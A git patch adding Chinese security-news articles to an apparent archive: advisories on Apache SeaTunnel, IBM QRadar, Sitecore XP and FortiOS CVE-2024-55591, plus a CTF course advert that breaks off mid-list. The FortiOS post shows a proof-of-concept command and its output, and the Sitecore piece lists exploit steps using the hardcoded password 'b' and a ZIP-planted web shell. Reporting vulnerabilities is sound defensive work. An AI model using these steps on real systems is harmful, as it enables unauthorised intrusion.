From a1a016237aa851ffc7fd29ed989ce0e3003b6c29 Mon Sep 17 00:00:00 2001 From: test Date: Fri, 20 Jun 2025 12:40:21 +0000 Subject: [PATCH] =?UTF-8?q?=E3=80=8ACTF=E8=AE=AD=E7=BB=83=E8=90=A5-Web?= =?UTF-8?q?=E7=AF=87=E3=80=8B=E6=9B=B4=E6=96=B0=EF=BC=9A=E5=8F=8D=E5=BA=8F?= =?UTF-8?q?=E5=88=97=E5=8C=96=E6=BC=8F=E6=B4=9E=EF=BC=88=E5=9B=9B=EF=BC=89?= =?UTF-8?q?Laravel=E5=8F=8D=E5=BA=8F=E5=88=97=E5=8C=96=E9=93=BE=E5=88=86?= =?UTF-8?q?=E6=9E=90=E3=80=81=E8=8D=90=E8=AF=BB=E4=B8=A8=E5=B7=A5=E4=BF=A1?= =?UTF-8?q?=E9=83=A8=EF=BC=9AAI=E7=BB=98=E5=9B=BE=E5=B7=A5=E5=85=B7ComfyUI?= =?UTF-8?q?=E5=A4=9A=E4=B8=AA=E5=AE=89=E5=85=A8=E6=BC=8F=E6=B4=9E=E5=B7=B2?= =?UTF-8?q?=E8=A2=AB=E7=94=A8=E4=BA=8E=E5=AE=9E=E6=96=BD=E7=BD=91=E7=BB=9C?= =?UTF-8?q?=E6=94=BB=E5=87=BB=E3=80=81Apache=20SeaTunnel=20=E6=BC=8F?= =?UTF-8?q?=E6=B4=9E=E5=85=81=E8=AE=B8=E6=9C=AA=E7=BB=8F=E6=8E=88=E6=9D=83?= =?UTF-8?q?=E7=9A=84=E7=94=A8=E6=88=B7=E8=BF=9B=E8=A1=8C=E5=8F=8D=E5=BA=8F?= =?UTF-8?q?=E5=88=97=E5=8C=96=E6=94=BB=E5=87=BB=E3=80=81=E6=BC=8F=E6=B4=9E?= =?UTF-8?q?=E9=A2=84=E8=AD=A6=EF=BD=9C=E5=A5=91=E7=BA=A6=E9=94=81=E7=94=B5?= =?UTF-8?q?=E5=AD=90=E7=AD=BE=E7=AB=A0=E7=B3=BB=E7=BB=9F=E8=BF=9C=E7=A8=8B?= =?UTF-8?q?=E4=BB=A3=E7=A0=81=E6=89=A7=E8=A1=8C=E6=BC=8F=E6=B4=9E=E3=80=81?= =?UTF-8?q?Sitcore=20XP=E4=B8=AD=E7=9A=84=E7=A1=AC=E7=BC=96=E7=A0=81?= =?UTF-8?q?=E5=AF=86=E7=A0=81=20=E2=80=9Cb=E2=80=9D=20=E5=AF=BC=E8=87=B4?= =?UTF-8?q?=E4=BC=81=E4=B8=9A=E7=B3=BB=E7=BB=9F=E6=98=93=E5=8F=97RCE?= =?UTF-8?q?=E6=94=BB=E5=87=BB=E3=80=81IBM=20QRadar=20SIEM=20=E6=BC=8F?= =?UTF-8?q?=E6=B4=9E=E5=85=81=E8=AE=B8=E6=94=BB=E5=87=BB=E8=80=85=E6=89=A7?= =?UTF-8?q?=E8=A1=8C=E4=BB=BB=E6=84=8F=E5=91=BD=E4=BB=A4=E3=80=81CVE-2024-?= =?UTF-8?q?55591=20Fortinet=20FortiOS=20=E8=BA=AB=E4=BB=BD=E9=AA=8C?= =?UTF-8?q?=E8=AF=81=E7=BB=95=E8=BF=87=E3=80=81?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- data.json | 9 +- ...授权的用户进行反序列化攻击.md | 73 ++++ ...591 Fortinet FortiOS 身份验证绕过.md | 49 +++ ...漏洞允许攻击者执行任意命令.md | 69 ++++ ...b” 导致企业系统易受RCE攻击.md | 117 ++++++ ...（四）Laravel反序列化链分析.md | 342 ++++++++++++++++++ ...子签章系统远程代码执行漏洞.md | 6 + ...全漏洞已被用于实施网络攻击.md | 104 ++++++ 8 files changed, 768 insertions(+), 1 deletion(-) create mode 100644 doc/2025-06/Apache SeaTunnel 漏洞允许未经授权的用户进行反序列化攻击.md create mode 100644 doc/2025-06/CVE-2024-55591 Fortinet FortiOS 身份验证绕过.md create mode 100644 doc/2025-06/IBM QRadar SIEM 漏洞允许攻击者执行任意命令.md create mode 100644 doc/2025-06/Sitcore XP中的硬编码密码 “b” 导致企业系统易受RCE攻击.md create mode 100644 doc/2025-06/《CTF训练营-Web篇》更新：反序列化漏洞（四）Laravel反序列化链分析.md create mode 100644 doc/2025-06/漏洞预警｜契约锁电子签章系统远程代码执行漏洞.md create mode 100644 doc/2025-06/荐读丨工信部：AI绘图工具ComfyUI多个安全漏洞已被用于实施网络攻击.md diff --git a/data.json b/data.json index 1c813024..46c571a2 100644 --- a/data.json +++ b/data.json @@ -15437,5 +15437,12 @@ "https://mp.weixin.qq.com/s?__biz=MzAxNDkzNjQ0Mw==&mid=2247483963&idx=1&sn=d4147631169c4f3f4d59a9a061d95188": "SVG 嵌套钓鱼溯源分析：基于可信域名 XSS 漏洞的黑产分发链追踪", "https://mp.weixin.qq.com/s?__biz=MzI4ODQzMzk3MA==&mid=2247490272&idx=1&sn=e976730cb96428843b889f6b33280d58": "美国DARPA宣布将与各军种开展武器系统漏洞红队评估", "https://mp.weixin.qq.com/s?__biz=MzkwMzYyNzQ1NA==&mid=2247485521&idx=1&sn=134e927a37122d16d95fa35deabe69b0": "漏洞扫描神器AWVS最新版2025.4", - "https://mp.weixin.qq.com/s?__biz=MzAxODM5ODQzNQ==&mid=2247488885&idx=1&sn=c956b0f537a856ca365551087420ceee": "NTLM 反射已死，NTLM 反射长存！——深入分析 CVE-2025-33073" + "https://mp.weixin.qq.com/s?__biz=MzAxODM5ODQzNQ==&mid=2247488885&idx=1&sn=c956b0f537a856ca365551087420ceee": "NTLM 反射已死，NTLM 反射长存！——深入分析 CVE-2025-33073", + "https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458596037&idx=4&sn=fb4c9bd8a84e95a40a020f981c5e7885": "《CTF训练营-Web篇》更新：反序列化漏洞（四）Laravel反序列化链分析", + "https://mp.weixin.qq.com/s?__biz=MzI2MDk2NDA0OA==&mid=2247533745&idx=2&sn=a176b8fa0297f6d311e87c46b62a9f49": "荐读丨工信部：AI绘图工具ComfyUI多个安全漏洞已被用于实施网络攻击", + "https://mp.weixin.qq.com/s?__biz=MzUyMzczNzUyNQ==&mid=2247524876&idx=4&sn=9d9e9b842c97da2e355156fcff3f36eb": "Apache SeaTunnel 漏洞允许未经授权的用户进行反序列化攻击", + "https://mp.weixin.qq.com/s?__biz=Mzg2Mjc3NTMxOA==&mid=2247517234&idx=1&sn=e76c9eba1efc0258f11058f61e600445": "漏洞预警｜契约锁电子签章系统远程代码执行漏洞", + "https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247523347&idx=2&sn=b6f02b127ba49b7fa05eec183cb4108a": "Sitcore XP中的硬编码密码 “b” 导致企业系统易受RCE攻击", + "https://mp.weixin.qq.com/s?__biz=MzUyMzczNzUyNQ==&mid=2247524876&idx=3&sn=24cefa58e29f9132413362fcfc5c2177": "IBM QRadar SIEM 漏洞允许攻击者执行任意命令", + "https://mp.weixin.qq.com/s?__biz=Mzg2NTk4MTE1MQ==&mid=2247487488&idx=1&sn=a07090fe47afa7fa1c9bb2f968aadd2a": "CVE-2024-55591 Fortinet FortiOS 身份验证绕过" } \ No newline at end of file diff --git a/doc/2025-06/Apache SeaTunnel 漏洞允许未经授权的用户进行反序列化攻击.md b/doc/2025-06/Apache SeaTunnel 漏洞允许未经授权的用户进行反序列化攻击.md new file mode 100644 index 00000000..10e5c393 --- /dev/null +++ b/doc/2025-06/Apache SeaTunnel 漏洞允许未经授权的用户进行反序列化攻击.md @@ -0,0 +1,73 @@ +# Apache SeaTunnel 漏洞允许未经授权的用户进行反序列化攻击 +邑安科技 邑安全 2025-06-20 09:37 + +更多全球网络安全资讯尽在邑安全 + +![](https://mmbiz.qpic.cn/mmbiz_png/1N39PtINn8vqzZByoOEDKbrNqay7Vdic18l56C5JxrUNkkP3OczAca8FLIZBEAsXcypKBOlaEwMWTlXqxuhF9tA/640?wx_fmt=png&from=appmsg "") + +Apache SeaTunnel 是广泛使用的分布式数据集成平台，它披露了一个重大的安全漏洞，该漏洞使未经授权的用户能够通过其 RESTful API 接口执行任意文件读取作和反序列化攻击。 + +该漏洞被跟踪为 CVE-2025-32896，并于 2025 年 4 月 12 日报告，影响了平台的多个版本，并被归类为中等严重性。 + +Apache SeaTunnel RCE 漏洞 + +该安全漏洞会影响 Apache SeaTunnel 版本 2.3.1 到 2.3.10，为在生产环境中使用这些版本的组织创造了一个很大的暴露窗口。 + +该漏洞源于平台的 RESTful API-v1 实现中的访问控制不足，特别是针对 /hazelcast/rest/maps/submit-job 端点。 + +此终端节点专为作业提交功能而设计，但缺乏适当的身份验证机制，允许恶意行为者在没有有效凭证的情况下利用系统。 + +安全研究员 Owen Amadeus 发现并报告了此漏洞，强调了未经授权的用户如何绕过安全控制来访问敏感的系统资源。 + +此漏洞的技术性质涉及纵 MySQL 连接参数，攻击者可以通过 URL 参数注入恶意负载以实现其目标。 + +这种攻击媒介特别令人担忧，因为它结合了两个关键的安全风险：任意文件访问和反序列化漏洞，这可能导致远程代码执行场景。 + +利用机制围绕着 SeaTunnel 作业提交过程中对数据库连接字符串的纵。 + +攻击者可以精心设计 MySQL URL，其中包含触发任意文件读取作和 Java 反序列化攻击的附加参数。易受攻击的端点 /hazelcast/rest/maps/submit-job 在没有适当验证或身份验证检查的情况下处理这些恶意请求。 + +此攻击的反序列化组件特别危险，因为它可能允许攻击者在目标系统上执行任意代码。 + +通过作业提交界面提交构建的序列化对象，恶意行为者可能会完全控制受影响的 SeaTunnel 实例。 + +这种类型的漏洞利用了 Java 的对象序列化机制，在该机制中，不受信任的数据可以绕过传统的安全边界被反序列化为可执行代码。 +
风险因素详
受影响的产品
Apache SeaTunnel 版本 2.3.1 到 2.3.10
冲击
远程代码执行 （RCE）
利用先决条件
– 对 SeaTunnel 实例的网络访问 - 启用 API-v1（默认）- 缺少 HTTPS 双向身份验证
CVSS 3.1 分数
8.2 （高）
+修复步骤 + +Apache SeaTunnel 开发团队已在 2.3.11 版本中解决了此漏洞，并实施了全面的安全改进以防止未经授权的访问。 + +运行受影响版本的组织应立即升级到最新版本，以降低潜在的安全风险。此修复包括增强的身份验证机制和输入验证过程。 + +除了版本升级之外，强烈建议管理员实施其他安全措施。 + +Apache 团队建议启用 RESTful API-v2 功能，其中包括改进的安全控制和身份验证框架。 + +此外，实施 HTTPS 双向身份验证通过确保客户端和服务器之间的相互证书验证来提供额外的安全层。 + +原文来自: cybersecuritynews.com + +原文链接:  +https://cybersecuritynews.com/apache-seatunnel-vulnerability/ + +欢迎收藏并分享朋友圈，让五邑人网络更安全 + +![](https://mmbiz.qpic.cn/mmbiz_jpg/1N39PtINn8tD9ic928O6vIrMg4fuib48e1TsRj9K9Cz7RZBD2jjVZcKm1N4QrZ4bwBKZic5crOdItOcdDicPd3yBSg/640?wx_fmt=jpeg "") + +欢迎扫描关注我们，及时了解最新安全动态、学习最潮流的安全姿势！ + +推荐文章 + +1 + +[新永恒之蓝？微软SMBv3高危漏洞（CVE-2020-0796）分析复现](http://mp.weixin.qq.com/s?__biz=MzUyMzczNzUyNQ==&mid=2247488913&idx=1&sn=acbf595a4a80dcaba647c7a32fe5e06b&chksm=fa39554bcd4edc5dc90019f33746404ab7593dd9d90109b1076a4a73f2be0cb6fa90e8743b50&scene=21#wechat_redirect) + + +2 + +[重大漏洞预警：ubuntu最新版本存在本地提权漏洞（已有EXP）　](http://mp.weixin.qq.com/s?__biz=MzUyMzczNzUyNQ==&mid=2247483652&idx=1&sn=b2f2ec90db499e23cfa252e9ee743265&chksm=fa3941decd4ec8c83a268c3480c354a621d515262bcbb5f35e1a2dde8c828bdc7b9011cb5072&scene=21#wechat_redirect) + + + + + diff --git a/doc/2025-06/CVE-2024-55591 Fortinet FortiOS 身份验证绕过.md b/doc/2025-06/CVE-2024-55591 Fortinet FortiOS 身份验证绕过.md new file mode 100644 index 00000000..3159a1cc --- /dev/null +++ b/doc/2025-06/CVE-2024-55591 Fortinet FortiOS 身份验证绕过.md @@ -0,0 +1,49 @@ +# CVE-2024-55591 Fortinet FortiOS 身份验证绕过 + TtTeam 2025-06-20 08:34 + +针对 CVE-2024-55591 的概念验证，针对 FortiOS (Fortigate) 管理接口。通过创建暴力破解 WebSocket 连接来创建竞争条件并绕过身份验证，可以发送未经身份验证的 FortiOS CLI 命令。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/0HlywncJbB1BWA2iaJfo4q3h3ib35ndnzFLO95w3cjDEuQqlmhnez135SfHlqlnyY8ibI9CqtYgxa0L0IL0cl7ic3A/640?wx_fmt=png&from=appmsg "") +``` +python CVE-2024-55591-PoC.py --host 192.168.1.5 --port 443 --command "get system status" --user watchTowr --ssl +             __         ___  ___________                    +     __  _  ______ _/  |__ ____ |  |_\__    ____\____  _  ________  +     \ \/ \/ \__  \    ___/ ___\|  |  \\|    | /  _ \ \/ \/ \_  __ \ +      \     / / __ \|  | \  \\___|   Y  |    |(  <_> \     / |  | \ +       \/\_/ (____  |__|  \\\\___  |___|__|__  | \\__  / \\/\_/  |__|    +                  \\          \\     \\                               + +        CVE-2024-55591.py +        (*) Fortinet FortiOS Authentication Bypass (CVE-2024-55591) POC by watchTowr + +          - Sonny , watchTowr (sonny@watchTowr.com) + +        CVEs: [CVE-2024-55591] + +[*] Checking if target is a FortiOS Management interface +[*] Target is confirmed as a FortiOS Management interface +[*] Target is confirmed as vulnerable to CVE-2024-55591, proceeding with exploitation +Output from server: �m"watchTowr" "admin" "watchTowr" "super_admin" "watchTowr" "watchTowr" [13.37.13.37]:1337 [13.37.13.37]:1337 + +Output from server: � +get system status + +Output from server: �~�FAKESERIAL # "Local_Process_Access" "Local_Process_Access" "root" "" "" "none" [x.x.x.x]:54546 [x.x.x.x]:443 +Unknown action 0 + +FAKESERIAL #  +FAKESERIAL # get system status +Version: FortiGate-VM64-AWS v7.0.16,build0667,241001 (GA.M) +Security Level: High +Firmware Signature: certified +Virus-DB: 1.00000(2018-04-09 18:07) + +``` + +影响的版本 +- FortiOS 7.0.0 至 7.0.16 + +- FortiProxy 7.0.0 至 7.0.19 + +- FortiProxy 7.2.0 至 7.2.12 + diff --git a/doc/2025-06/IBM QRadar SIEM 漏洞允许攻击者执行任意命令.md b/doc/2025-06/IBM QRadar SIEM 漏洞允许攻击者执行任意命令.md new file mode 100644 index 00000000..2eb70832 --- /dev/null +++ b/doc/2025-06/IBM QRadar SIEM 漏洞允许攻击者执行任意命令.md @@ -0,0 +1,69 @@ +# IBM QRadar SIEM 漏洞允许攻击者执行任意命令 +邑安科技 邑安全 2025-06-20 09:37 + +更多全球网络安全资讯尽在邑安全 + +![](https://mmbiz.qpic.cn/mmbiz_png/1N39PtINn8vqzZByoOEDKbrNqay7Vdic1A3a1Z8oGxJX56BuoqxtXrCTUQLrk1wDrFzeqJKVhv3cjcx2IyQvfOQ/640?wx_fmt=png&from=appmsg "") + +IBM QRadar SIEM 中存在多个高严重性漏洞，可能允许攻击者执行任意命令并访问敏感数据。 + +最严重的漏洞被跟踪为 CVE-2025-33117，CVSS 评分为 9.1，使特权用户能够上传可在受影响系统上执行任意命令的恶意文件。 + +敦促运行 IBM QRadar SIEM 版本 7.5 到 7.5.0 UP12 IF01 的组织立即更新到最新补丁，以防止潜在的安全漏洞。 + +关键 QRadar 文件路径漏洞 （CVE-2025-33117） + +最严重的漏洞 CVE-2025-33117 对企业安全基础设施构成直接威胁。 + +此缺陷归类为 CWE-73：文件名或路径的外部控制，允许特权用户修改配置文件，从而能够上传恶意自动更新文件。 + +漏洞的 CVSS 向量 （CVSS：3.1/AV：N/AC：L/PR：H/UI：N/S：C/C：H/I：H/A：H） 表示基于网络的利用，攻击复杂度低，需要高权限，但无需用户交互。 + +安全研究人员已经证明，具有提升访问权限的攻击者可以利用此漏洞获得完整的系统控制，从而可能危及整个 SIEM 部署。 + +CVSS 向量中的范围更改 （S：C） 表明，成功利用此漏洞可能会影响易受攻击组件以外的资源，这使得这在 QRadar 管理关键安全数据的企业环境中尤其危险。 + +发现的其他安全漏洞 + +CVE-2025-33121 表示 CVSS 评分为 7.1 的 XML 外部实体 （XXE） 注入漏洞，分类为 CWE-611：XML 外部实体引用的不当限制。 + +这种远程攻击媒介允许经过身份验证的用户通过恶意构建的 XML 数据泄露敏感信息或耗尽内存资源。 + +第三个漏洞 CVE-2025-36050 涉及本地用户可访问的日志文件中敏感信息的不当存储。 + +CVSS 评分为 6.2 且分类为 CWE-532：将敏感信息插入日志文件，此漏洞可能会将机密数据暴露给未经授权的本地用户。 + +CVSS 向量 （CVSS：3.1/AV：L/AC：L/PR：N/UI：N/S：U/C：H/I：N/A：N） 表示本地访问要求，但不需要身份验证。 + +这些漏洞是由 IBM 的安全道德黑客团队发现的，该团队包括研究人员 John Zuccato、Rodney Ryan、Chris Shepherd、Vince Dragnea、Ben Goodspeed 和 Dawid Bak。 +
CVE 证书受影响的产品冲击利用先决条件CVSS 3.1 分数
CVE-2025-33117漏洞
IBM QRadar SIEM 7.5 – 7.5.0 UP12 IF01
任意命令执行
特权用户访问权限（管理员级别）
9.1 （严重）
CVE-2025-33121漏洞
IBM QRadar SIEM 7.5 – 7.5.0 UP12 IF01
敏感数据泄露
经过身份验证的用户访问
7.1（高）
CVE-2025-36050漏洞
IBM QRadar SIEM 7.5 – 7.5.0 UP12 IF01
未经授权访问敏感信息
本地系统访问 （无身份验证）
6.2 （中等）
+IBM 发布了 QRadar 7.5.0 UP12 IF02 作为所有已识别漏洞的最终修复程序。鉴于这些缺陷的严重性质，尤其是任意命令执行能力，组织必须优先考虑此更新。 + +该安全公告没有提供任何解决方法或缓解措施，因此立即修补是唯一可行的防御策略。 + +原文来自: cybersecuritynews.com + +原文链接:  +https://cybersecuritynews.com/ibm-qradar-siem-vulnerability-2/ + +欢迎收藏并分享朋友圈，让五邑人网络更安全 + +![](https://mmbiz.qpic.cn/mmbiz_jpg/1N39PtINn8tD9ic928O6vIrMg4fuib48e1TsRj9K9Cz7RZBD2jjVZcKm1N4QrZ4bwBKZic5crOdItOcdDicPd3yBSg/640?wx_fmt=jpeg "") + +欢迎扫描关注我们，及时了解最新安全动态、学习最潮流的安全姿势！ + +推荐文章 + +1 + +[新永恒之蓝？微软SMBv3高危漏洞（CVE-2020-0796）分析复现](http://mp.weixin.qq.com/s?__biz=MzUyMzczNzUyNQ==&mid=2247488913&idx=1&sn=acbf595a4a80dcaba647c7a32fe5e06b&chksm=fa39554bcd4edc5dc90019f33746404ab7593dd9d90109b1076a4a73f2be0cb6fa90e8743b50&scene=21#wechat_redirect) + + +2 + +[重大漏洞预警：ubuntu最新版本存在本地提权漏洞（已有EXP）　](http://mp.weixin.qq.com/s?__biz=MzUyMzczNzUyNQ==&mid=2247483652&idx=1&sn=b2f2ec90db499e23cfa252e9ee743265&chksm=fa3941decd4ec8c83a268c3480c354a621d515262bcbb5f35e1a2dde8c828bdc7b9011cb5072&scene=21#wechat_redirect) + + + + + diff --git a/doc/2025-06/Sitcore XP中的硬编码密码 “b” 导致企业系统易受RCE攻击.md b/doc/2025-06/Sitcore XP中的硬编码密码 “b” 导致企业系统易受RCE攻击.md new file mode 100644 index 00000000..ea201abb --- /dev/null +++ b/doc/2025-06/Sitcore XP中的硬编码密码 “b” 导致企业系统易受RCE攻击.md @@ -0,0 +1,117 @@ +# Sitcore XP中的硬编码密码 “b” 导致企业系统易受RCE攻击 +Ravie Lakshmanan 代码卫士 2025-06-20 10:34 + +![](https://mmbiz.qpic.cn/mmbiz_gif/Az5ZsrEic9ot90z9etZLlU7OTaPOdibteeibJMMmbwc29aJlDOmUicibIRoLdcuEQjtHQ2qjVtZBt0M5eVbYoQzlHiaw/640?wx_fmt=gif "") +  +聚焦源代码安全，网罗国内外最新资讯！ + +**编译：代码卫士** + +**网络安全研究员披露了热门 Sitecore Experience Platform (XP) 中的三个漏洞，它们可组合用于实现预认证远程代码执行。** + +Sitecore XP是一款企业级软件，为用户提供内容管理、数字化营销以及分析和报告服务。这三个漏洞简述如下： + +- CVE-2025-34509（CVSS 8.2）：使用硬编码凭据。 + +- CVE-2025-34510（CVSS 8.8）：通过路径遍历实现认证后远程代码执行。 + +- CVE-2025-34511（CVSS 8.8）：通过 Sitecore PowerShell Extension 实现认证后远程代码执行。 + + + +watchTowr Labs 的研究员Piotr Bazydlo 表示，默认的用户账号 “sitecore\ServicesAPI” 的密码是一位数且为硬编码的 “b”。Sitecore 在文档中建议客户更改默认的用户账号凭据。 + +虽然用户在 Sitecore 中并没有被分配角色和权限，但研究人员发现攻击者仍然能够利用他们的凭据，以 “sitecore\ServicesAPI” 的身份登录到API 端点 “/sitecore/admin” 并获得有效的会话cookie。Bazydlo 解释称，“虽然由于 ServicesAPI 没有被分配角色，我们无法访问 ‘Sitecore Applications’（定义大部分功能），但我们仍能够（1）访问其它大量API，以及（2）通过IIS授权规则并直接访问一些端点。” 攻击者可通过一个zip slip漏洞执行远程代码，从而通过端点“/sitecore/shell/Applications/Dialogs/Upload/Upload2.aspx” 上传一个特殊构造的的 ZIP 文件，导致该文档的内容（如 web shell）被写入 webroot 目录。 + +完整的操作顺序如下： + +- 认证为 “sitecore\ServicesAPI” 用户 + +- 访问 Upload2.aspx + +- 上传一个 ZIP 文件，其中包含一个名为 /\/../ 的 web shell。 + +- 当弹出时，检查解压缩选项并完成上传。 + +- 访问 web shell。 + + + +第三个漏洞与 PowerShell Extensions 中的一个不受限的文件上传漏洞有关，可被用作 “sitecore\ServicesAPI” 用户，通过端点 “/sitecore%20modules/Shell/PowerShell/UploadFile/PowerShellUploadFile2.aspx” 实现远程代码执行。 + +WatchTowr 提到，该硬编码密码原则 Sitecore 安装程序中，它导入 ServicesAPI 密码设为 “b” 的预配置用户数据库，这一变化从10.1版本起开始生效。这意味着只有当用户使用10.1版本及以上的安装程序安装 Sitecore 时，该利用链才起作用。如果用户最开始运行的版本是10.1而之后升级至更新的易受攻击版本，假设旧的数据库已迁移而内嵌在安装包中的数据库未迁移，则用户可能并不受影响。 + +鉴于Sitecore XP 中此前漏洞 (CVE-2019-9874和CVE-2019-9875) 曾遭在野利用，因此用户应应用最新补丁。watchTowr 公司的首席执行官兼创始人 Benjamin Harris 提到，“默认情况下，Sitecore 的近期版本中用户的硬编码密码是 ‘b’。现在都已经2025年了，竟然还有这种糟糕的情况。Sitecore 部署于数千个环境中，包括银行、航空公司和全球企业，因此影响范围甚广。而且这种影响并非仅存在于理论层面：我们运行了端对端的完整利用链。如果你正在运行 Sitecore，那么情况不会变得更糟糕了：在攻击者逆向修复方案前，立即修改凭据并打补丁。” + +Sitecore公司的一名发言人表示，“我们注意到 watchTowr 最近在我们的软件中发现多个漏洞，我们正在与他们积极协作解决该漏洞，并发布一份知识库文章，详述了补丁和修复步骤。”该公司还提到已在2024年12月修复了 watchTowr 在2025年2月发现的漏洞CVE-2025-27218。该公司提到，“我们的客户支持团队已积极与受影响客户沟通这些更新。所有受影响的 SaaS 产品已得到修复，我们强烈建议受影响的本地客户立即应用补丁。” + + +代码卫士试用地址： +https://codesafe.qianxin.com + +开源卫士试用地址：https://oss.qianxin.com + + + + + + + + + + + + + +**推荐阅读** + +[BeyondTrust：注意远程支持软件中的预认证RCE](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247523333&idx=1&sn=7293c7dd1145ab18fd71d834ad208fe0&scene=21#wechat_redirect) + + +[Veeam RCE漏洞导致域用户入侵备份服务器](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247523322&idx=2&sn=347204929358f8a4c82b2634e62774cd&scene=21#wechat_redirect) + + +[隐秘的 npm 供应链攻击：误植域名导致RCE和数据破坏](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247523167&idx=2&sn=4249c8e9e0dace01810c665eda52c421&scene=21#wechat_redirect) + + +[DragonForce 勒索团伙瞄准MSP，发动供应链攻击](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247523133&idx=1&sn=bf9dda6dcef75f6de012aa77866b6072&scene=21#wechat_redirect) + + +[Setuptools 漏洞导致数百万 Python 用户易受RCE攻击](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247523092&idx=1&sn=53658193138b944b76bad2de5c9801f5&scene=21#wechat_redirect) + + + + + +**原文链接** + +https://thehackernews.com/2025/06/hard-coded-b-password-in-sitecore-xp.html + + +题图： +Pixabay  +License + +**** +**本文由奇安信编译，不代表奇安信观点。转载请注明“转自奇安信代码卫士 https://codesafe.qianxin.com”。** + + + + +![](https://mmbiz.qpic.cn/mmbiz_jpg/oBANLWYScMSf7nNLWrJL6dkJp7RB8Kl4zxU9ibnQjuvo4VoZ5ic9Q91K3WshWzqEybcroVEOQpgYfx1uYgwJhlFQ/640?wx_fmt=jpeg "") + +![](https://mmbiz.qpic.cn/mmbiz_jpg/oBANLWYScMSN5sfviaCuvYQccJZlrr64sRlvcbdWjDic9mPQ8mBBFDCKP6VibiaNE1kDVuoIOiaIVRoTjSsSftGC8gw/640?wx_fmt=jpeg "") + +**奇安信代码卫士 (codesafe)** + +国内首个专注于软件开发安全的产品线。 + +   ![](https://mmbiz.qpic.cn/mmbiz_gif/oBANLWYScMQ5iciaeKS21icDIWSVd0M9zEhicFK0rbCJOrgpc09iaH6nvqvsIdckDfxH2K4tu9CvPJgSf7XhGHJwVyQ/640?wx_fmt=gif "") + +  +觉得不错，就点个 “ +在看 +” 或 " +赞 +” 吧~ + diff --git a/doc/2025-06/《CTF训练营-Web篇》更新：反序列化漏洞（四）Laravel反序列化链分析.md b/doc/2025-06/《CTF训练营-Web篇》更新：反序列化漏洞（四）Laravel反序列化链分析.md new file mode 100644 index 00000000..fc02a079 --- /dev/null +++ b/doc/2025-06/《CTF训练营-Web篇》更新：反序列化漏洞（四）Laravel反序列化链分析.md @@ -0,0 +1,342 @@ +# 《CTF训练营-Web篇》更新：反序列化漏洞（四）Laravel反序列化链分析 +看雪课程 看雪学苑 2025-06-20 09:59 + +更新 +： +第二十三周  反序列化漏洞（四）Laravel反序列化链分析 + +本周我们将对另一个热门的PHP框架Laravel中的反序列化漏洞进行分析，本周之后相信同学们今后在遇到Laravel类型的会更为胸有成竹。 + +第一章 Laravel框架的反序列化漏洞分析与挖掘思路(上篇) + +视频1-1 前置知识 + +视频1-2 Laravel8.x反序列化利用链分析 + + +随着互联网的普及与发展，网络安全也越发成为人们关注的焦点。而在网络安全中，Web安全无疑是其中的一个重点领域。 + +该课程以CTF比赛中的Web安全为核心，包 +含了丰富的Web安全攻击和防御知识，帮助学员了解常见的网络攻击方式并掌握一些基本的渗透测试和漏洞利用技术。 通过学习该课程，您将了解常见于CTF比赛中的Web安全攻击手段，例如SQL注入、XSS攻击等。同时，您还将学习如何使用各种工具和技术支持漏洞挖掘、渗透测试、攻防演练等行业实际应用。  + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/1UG7KPNHN8HphDmwaicmoJsxhtILouhU0mS7wPYKnA0KSD33gsMAXicIJRVLHUiauwHZIqNo0ubbN4QnBSqB2lsYA/640?wx_fmt=jpeg "") +![]( "") + +**课程简介** + + +本课程面向希望在Web方向发展的学员，旨在通过由浅入深的课程帮助学员掌握系统化的Web安全知识和良好的解题能力。 + +由于是体系课，我们将系统化的来学习，因此讲师将本课程分为4大阶段！ + +**第一阶段（入门篇）：** +学习CTF中Web安全需要掌握的最基本的知识、对PHP应用的一类漏洞进行讲解、完成对PHP语言的基础学习。 + +**第二阶段（基础篇）：** +完成对Web安全中一个十分经典，在CTF竞赛中出镜率也极高的Web漏洞的学习——SQL注入。 + +**第三阶段（进阶篇）：** +对一些常见的Web漏洞学习，包括命令/代码执行、文件上传和文件包含。 + +**第四阶段（强化篇）：** +对那些喜欢在难题中出现的考点进行系统化的学习，包括PHP反序列化、SSRF、XXE等， + +课程会将理论和实践相结合，帮助学员最大化地完成课程目标。 + + +**知识体系/目录** + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/1UG7KPNHN8GMjqO82AGRWSJrIX9UmhlnVazYxiaOFLobSlvfhQhXcchenGwM5icVLQCAQsC8OlOubJUvEYrcreEg/640?wx_fmt=png "") + +*下滑导航栏查看具体目录![](https://mmbiz.qpic.cn/mmbiz_png/b96CibCt70iaajvl7fD4ZCicMcjhXMp1v6UibM134tIsO1j5yqHyNhh9arj090oAL7zGhRJRq6cFqFOlDZMleLl4pw/640?wx_fmt=png "") +![]( "") + + +**阶段一：入门 — 初入Web安全世界** + +**第1周：Web安全概览、环境配置与工具介绍** + +第1章  Web安全概览 +（试看） + +- 视频1-1  什么是WEB + + +- 视频1-2  什么是WEB安全 + + +- 视频1-3  如何开始学习WEB安全 + + + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/1UG7KPNHN8HzjnnQrCEbgmosjEoX1d6rs56nl4ZJXsVArol2Phnq4NmJc7jynm45ib7UQO5NBCibfJxhj0RoEEEg/640?wx_fmt=png "") +![]( "") + +第2章 工具介绍与环境搭建 + +- 视频2-1 PHP环境搭建与PHPStudy + + +- 视频2-2 Java环境搭建、Burpsuite抓包与HTTP + + +- 视频2-3 Python环境搭建、Dirsearch与SQLMap + + + + + +**第2周：Web渗透测试的灵魂：信息搜集** + +第1章  渗透测试与信息收集 + +- 视频1-1  什么是渗透测试 + + +- 视频1-2  信息搜索要做些什么 + + +- 视频1-3  信息搜集工具与技巧一览 + + + + +第2章  CTF中的信息搜集 + +- 视频1-1  信息搜集在CTF中的体现 + + +- 视频1-2  CTF中做题的CheckList + + +- 视频1-3  信息搜集相关习题精解 + + + + + +**第3周：让开发者如履薄冰的一些“PHP黑魔法”** + +第1章  